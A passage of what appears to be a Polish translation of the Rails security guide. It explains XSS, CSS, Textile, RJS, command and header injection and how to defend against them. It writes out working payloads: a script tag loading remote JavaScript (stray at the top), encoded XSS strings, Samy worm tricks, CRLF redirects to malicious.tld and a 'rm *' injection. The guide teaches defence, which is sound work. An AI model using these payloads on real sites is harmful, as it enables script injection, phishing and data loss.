http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1--> <script src=http://www.securitylab.ru/test/sc.js></script><!--
8.3.2.3 Sposoby ochrony

Bardzo ważne jest filtrowanie danych wejściowych, ale równie ważne jest jego cytowanie (ang. escaping) w aplikacjach internetowych.

W szczególności dla XSS, ważne jest, aby stosować białą listę filtrowania zamiast czarnej. Biała lista określa dozwolone wartości w przeciwieństwie do wartości niedozwolonych. Czarne listy nigdy nie są kompletne.

Wyobraź sobie, że czarna lista usuwa script z wejścia użytkownika. Teraz atakujący wprowadza , a po przefiltrowaniu pozostaje , co sprawiało, że atak zadziałał. To jest powód dla którego byłem za wprowadzeniem białych list przy aktualizacji metody sanitize() w Railsach 2.

tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p) s = sanitize(user_input, :tags => tags, :attributes => %w(href title))

Pozwala to tylko na używanie wymienionych tagów i odwala dobrą robotę, nawet przeciw wszelkiego rodzaju sztuczkom i zniekształconym tagom.

W drugim etapie, dobrą praktyką jest cytowanie wszystkich danych wyjściowych aplikacji, zwłaszcza gdy ponownie wyświetlane są dane wprowadzone przez użytkownika, które nie zostały przefiltrowane (jak we wcześniej wspomnianym przykładzie formularza wyszukiwania). Używaj metody escapeHTML() (lub jej aliasu h()) żeby zastąpić znaki wejścia HTML &,",<,> przez ich nieinterpretowane reprezentacje w formacie HTML (&amp;, &quot;, &lt; oraz &gt;). Jednak może się zdarzyć, że programista zapomni ich użyć, więc zaleca się korzystanie z wtyczki SafeErb. SafeErb przypomina o cytowaniu ciągów znaków pochodzących z zewnętrznych źródeł.

8.3.2.4 Zaciemnianie (ang. obfuscation) i ataki z wykorzystaniem kodowania znaków

Ruch w sieci opiera się głównie na ograniczonym zachodnim alfabecie, więc nowe kodowanie znaków, np. UTF-8, pojawiły się, w celu przekazywania znaków występujących w innych językach. Ale jest to również zagrożenie dla aplikacji internetowych, ponieważ złośliwy kod może być ukryty w różnych kodowaniach, z którymi przeglądarka internetowa może sobie poradzić, a aplikacja internetowa nie może. Oto ciąg znaków służący do ataku w kodowaniu UTF-8:

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97; &#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

Ten kod spowoduje pojawienie się wyskakującego okno z komunikatem. Będzie to jednak rozpoznane przez wyżej wspomniany filtr sanitize(). Świetnym narzędziem do zaciemniania i zmiany kodowania ciągów znaków, a tym samym “do poznania swojego wroga”, jest Hackvertor. Railsowa metoda sanitize() odwala dobrą robotę odpierając ataki z wykorzystaniem zmiany kodowania znaków.

8.3.3 Podziemne przykłady

Aby zrozumieć dzisiejsze ataki na aplikacje internetowe, najlepiej spojrzeć na niektóre sposoby ataku w świecie rzeczywistym.

Poniżej znajduje się wyciąg z robaka Js.Yamanner@m Yahoo! Mail. Ukazał się on 11 czerwca 2006 roku i był pierwszym robakiem w webowym interfejsie mailowym:

<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif' target=""onload="var http_request = false; var Email = ''; var IDList = ''; var CRumb = ''; function makeRequest(url, Func, Method,Param) { ...

Robak wykorzystuje dziurę w filtrze HTML/JavaScript Yahoo. Zazwyczaj filtruje on wszystkie atrybuty target oraz onload z tagów (ponieważ nie można używać JavaScriptu). Filtr jest stosowany tylko raz, jednak w taki sposób, że atrybuty onload z zainfekowanym kodem pozostają w miejscu. Jest to dobry przykład tego, że filtry tworzone za pomocą czarnych list nigdy nie są kompletne i dlaczego trudno jest pozwolić na HTML/JavaScript w aplikacji internetowej.

Kolejnym przykładem robaka webmailowego jest Nduja, robak typu cross-domain atakujący cztery włoskie usługi webmailowe. Więcej szczegółów oraz demonstracja wideo znajdują się na stronie Rosario Valotta. Oba webmailowe robaki mają na celu zbieranie adresów e-mail, czyli coś, za co haker może zarobić duże pieniądze.

W grudniu 2006 roku, 34000 rzeczywistych nazw użytkownika i haseł zostało skradzionych z http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html[MySpace poprzez atak typu phishing]. Ideą ataku było stworzenie strony profilu o nazwie “login_home_index_html”, przez co adres wyglądał bardzo przekonująco. Specjalnie spreparowany HTML i CSS zostały użyty w celu ukrycia prawdziwej treści ze strony MySpace i zamiast tego wyświetlany był własny formularz logowania.

Robak Samy z MySpace zostanie omówiony w sekcji o atakach typu CSS injection.

8.4 Atak typu CSS Injection

Atak typu CSS injection w rzeczywistości jest atakiem typu JavaScript injection, ponieważ niektóre przeglądarki (IE, niektóre wersje Safari i inne) umożliwiają obsługę JavaScript w CSS. Dobrze się zastanów zanim pozwolisz na niestandardowe CSS w twojej aplikacji internetowej.

Atak typu CSS injection można wytłumaczyć na przykładzie znanego robaka – MySpace Samy. Ten robak automatycznie zaprasza do znajomych Sam’iego (atakującego), po prostu odwiedzając jego profil. W ciągu kilku godzin miał ponad 1 milion zaproszeń do znajomych, generując tak dużo ruchu na MySpace, że witryna przestała działać. Poniżej znajduje się techniczne wyjaśnienie działania robaka.

MySpace blokuje wiele tagów, jednak pozwala na używanie CSS. Więc autor robaka umieścił JavaScript w CSS w taki sposób:

<div style="background:url('javascript:alert(1)')">

Tak więc kod umieszczany jest w atrybucie style. W kodzie nie można jednak użyć cudzysłowów, ponieważ pojedyncze i podwójne cudzysłowy zostały już wykorzystane. Ale JavaScript pozwala wykorzystywać przydatną funkcję eval(), która wykonuje każdy ciąg jako kod.

<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">

Funkcja eval() jest koszmarem dla czarnych list filtrów wejścia, gdyż pozwala atrybutowi style ukryć słowo innerHTML:

alert(eval('document.body.inne' + 'rHTML'));

Kolejnym problemem w MySpace było filtrowanie słowa javascript, więc autor użył javascript aby obejść ten problem:

<div id="mycode" expr="alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')">

Innym problemem dla autora robaka były tokeny bezpieczeństwa CSRF. Bez nich nie mógłby zapraszać znajomych przez metodę POST. Obszedł to, wysyłając żądanie GET do strony zaraz przed dodaniem użytkownika i parsując wyniki dla tokena CSRF.

W końcu stworzył 4 KB robaka, którego wpuścił do strony swojego profilu.

Wartość moz-binding CSS okazała się być innym sposobem na wprowadzanie JavaScript do CSS w przeglądarkach opartych na Gecko (na przykład Firefox).

8.4.1 Sposoby ochrony

Ten przykład, ponownie pokazał, że filtr na podstawie czarnej listy nigdy nie jest kompletny. Edytowalne CSS w aplikacjach internetowych jest dość rzadką funkcją, jednak nie obawiam się stosować białych list do filtrowania CSS. Jeśli chcesz zezwolić na niestandardowe kolory lub obrazek, możesz pozwolić użytkownikowi je wybrać i tworzyć CSS w aplikacji internetowej. Użyj Railsowej metody sanitize() jako modelu dla białej listy filtrowania CSS, jeśli naprawdę jej potrzebujesz.

8.5 Atak typu Textile Injection

Jeśli chcesz zapewnić formatowanie tekstu inne niż HTML (ze względu na bezpieczeństwo), powinieneś użyć języka mark-up, który jest przekształcany na HTML po stronie serwera. RedCloth jest takim język dla Ruby, ale bez stosowania środków ostrożności, jest również podatny na XSS.

Na przykład, RedCloth tłumaczy _test_ na <em>test<em>, co oznacza kursywę. Jednak, aż do wersji 3.0.4, był podatny na XSS. Pobierz nowszą wersje 4, w której usunięto poważne błędy. Jednak nawet ta wersja posiada kilka błędów bezpieczeństwa, więc sposoby ochrony nadal obowiązują. Oto przykład dla wersji 3.0.4:

RedCloth.new('<script>alert(1)</script>').to_html # => "<script>alert(1)</script>"

Użyj opcji :filter_html żeby usunąć kod HTML, który nie został stworzony przez procesor textile.

RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html # => "alert(1)"

Ta metoda nie przefiltruje całego kodu HTML – kilka tagów zostanie pominiętych (ze względów konstrukcyjnych), na przykład <a>:

>> RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html => "<p><a href="javascript:alert(1)">hello</a></p>"
8.5.1 Sposoby ochrony

Zaleca się korzystanie z RedCloth w połączeniu z białą listą do filtrowania wejścia, jak zostało to opisane w sposobach ochrony przeciwko XSS.

8.6 Atak typu Ajax Injection

Środki ostrożności, podjęte dla Ajaxa, są takie same jak te dla “normalnych” technologii. Istnieje przynajmniej jeden wyjątek: cytowanie wyjścia musi nastąpić już w kontrolerze, jeżeli akcja nie renderuje widoku.

Jeśli używasz http://dev.rubyonrails.org/browser/plugins/in_place_editing[wtyczki in_place_editor], lub akcji, które zwracają ciąg znaków, a nie renderujesz widoku, musisz cytować wartości zwracane w akcji. W przeciwnym razie, jeśli zwracana wartość zawiera ciąg XSS, złośliwy kod będzie wykonywany po powrocie do przeglądarki. Cytuj wszystkie dane wejściowe używając metody h().

8.7 Atak typu RJS Injection

Nie zapomnij o cytowaniu w szablonach JavaScript (RJS).

API RJS generuje bloki kodu w oparciu o kod Ruby, co pozwala manipulować widokiem lub częścię widok po stronie serwera. Jeśli zezwalasz na wyświetlanie danych wprowadzonych przez użytkownika w szablonach RJS, użyj cytowania korzystając z escape_javascript() w funkcjach JavaScript i h() w HTML. W przeciwnym wypadku atakujący może wykonać arbitralny kod JavaScript.

8.8 Atak typu Command Line Injection

Używaj parametrów wiersza polecenia dostarczanych przez użytkownika z ostrożnością.

Jeśli twoja aplikacja musi wykonywać polecenia systemu operacyjnego, istnieje do tego kilka metod w Ruby: exec(command), syscall(command), system(command) oraz \command. Będziesz musiał być szczególnie ostrożny z tymi funkcjami, jeżeli użytkownik może wprowadzić całą komendę lub jej część. Dzieje się tak, ponieważ w większości powłok, możesz wykonywać kolejne polecenie na końcu pierwszego łącząc je średnikiem (;) lub pionową kreska (|).

Jako ochrony użyj metody system(command, params), która bezpiecznie przekazuje parametry linii poleceń.

system("/bin/echo","hello; rm *") # wyświetla "hello; rm *" i nie powoduje usunięcia plików

8.9 Atak typu Header Injection

Nagłówki HTTP są generowane dynamicznie i przy pewnych okolicznościach dane wprowadzone przez użytkownika mogą zostać zaatakowane. Może to prowadzić do fałszywego przekierowania, XSS lub rozszczepieniu odpowiedzi HTTP.

Nagłówki żądań HTTP zawierają między innymi Referer, User-Agent (oprogramowanie klienta) i pole cookie. Nagłówki odpowiedzi mają na przykład kod stanu, cookie i lokalizację (przekierowanie docelowego adresu URL). Wszystkie z nich są dostarczane przez użytkownika i mogą być zmodyfikowane, z większym lub mniejszym wysiłkiem. Należy pamiętać, aby unikać wyświetlania tych pól nagłówków na przykład, kiedy wyświetlasz agenta użytkownika w sferze administracyjnej.

Poza tym, warto wiedzieć, co robisz przy budowie nagłówków odpowiedzi, częściowo opartych na wejściu użytkownika. Na przykład jeśli chcesz cofnąć użytkownika do określonej strony. Mogłeś np. wprowadzić pole referer w formularzu do przekierowania na dany adres:

redirect_to params[:referer]

Railsy w takim wypadku wstawiają ciąg znaków do pola nagłówka Location i wysyłają status 302 (przekierowanie) do przeglądarki. Pierwszą rzeczą, którą może zrobić złośliwy użytkownik jest:

http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld

Oraz ze względu na błąd w (Ruby i) Railsach do wersji 2.1.2 (z wyjątkiem, tej właśnie wersji), haker może wprowadzić arbitralne pola nagłówka, na przykład takie:

http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi! http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld

Zwróć uwagę, że “%0d%0a” jest zakodowaną przez URL wersją “\r\n”, która oznacza powrót-na-początek-lini i przejście-do-nowej-linii (CRLF) w języku Ruby. Więc wynikowy nagłówek HTTP dla drugiego przykładu będzie następujący, ponieważ drugi argument Location pole nagłówka zastępuje pierwszy.

HTTP/1.1 302 Moved Temporarily (...) Location: http://www.malicious.tld

Sposoby ataku typu header injection są oparte na wstawianiu znaków CRLF do pola nagłówka. A co atakujący może zrobić z fałszywymi przekierowaniami? Może przekierować je do strony, na której dokona phishingu. Strona ta wygląda tak samo jak twoja, ale prosi, aby zalogować się ponownie (i wysyła dane logowania atakującemu). Atakujący może też zainstalować złośliwe oprogramowanie za pośrednictwem luk w przeglądarce na tej stronie. Railsy 2.1.2 unikają wstawiania tych znaków w polu Location w metodzie redirect_to. Upewnij się, że zrobisz to sam podczas budowania innych pól nagłówka na podstawie danych wprowadzonych przez użytkownika.

8.9.1 Rozdzielanie odpowiedzi

Jeśli atak typu Header Injection był możliwy, prawdopodobne jest, że rozdzielanie odpowiedzi (ang. response splitting) również będzie możliwe. W HTTP za blokiem nagłówka pojawiają się dwa ciągi CRLF i aktualne dane (zwykle HTML). Pomysł rozdzielania odpowiedzi polega na wstawianiu dwóch CRLF w pole nagłówka, a następnie wstawianiu innej odpowiedzi ze złośliwym kodem HTML. Odpowiedź będzie wyglądała tak:

HTTP/1.1 302 Found [First standard 302 response] Date: Tue, 12 Apr 2005 22:09:07 GMT Location:
Content-Type: text/html HTTP/1.1 200 OK [Second New response created by attacker begins] Content-Type: text/html <html><font color=red>hey</font></html> [Arbitary malicious input is Keep-Alive: timeout=15, max=100 shown as the redirected page] Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html

W pewnych okolicznościach złośliwy kod HTML trafi do ofiary. Jednakże, ma to miejsce tylko i wyłącznie w przypadku połączeń typu Keep-Alive (wiele przeglądarek używa jednorazowych połączeń). Ale nie można na tym zbytnio polegać. W każdym razie jest to poważny błąd i należy zaktualizować Railsy do wersji 2.0.5 lub 2.1.2 w celu wyeliminowania ryzyka wystąpienia header injection (i tym samym rozdzielania odpowiedzi).

9 Dodatkowe informacje

Zakres zabezpieczeń cały czas się zmienia i ważne jest, aby być na bieżąco w temacie, ponieważ przeoczenie nowej luki może mieć katastrofalne skutki. Dodatkowe informacje na temat bezpieczeństwa (w Railsach) znajdziesz tutaj:

- Projekt bezpieczeństwa w Ruby on Rails regularnie dodaje newsy: http://www.rorsecurity.info - Zapisz się do listy mailingowej bezpieczeństwa w Railsach - Bądź na bieżąco z pozostałymi warstwami aplikacji (również posiadają cotygodniowy biuletyn) - Dobry blog o bezpieczeństwie zawierający ściągę z Cross-Site scripting - Inny dobry blog o bezpieczeństwie również zawierający ściągawki.

10 Dziennik zmian

Lighthouse ticket

  • November 1, 2008: First approved version by Heiko Webers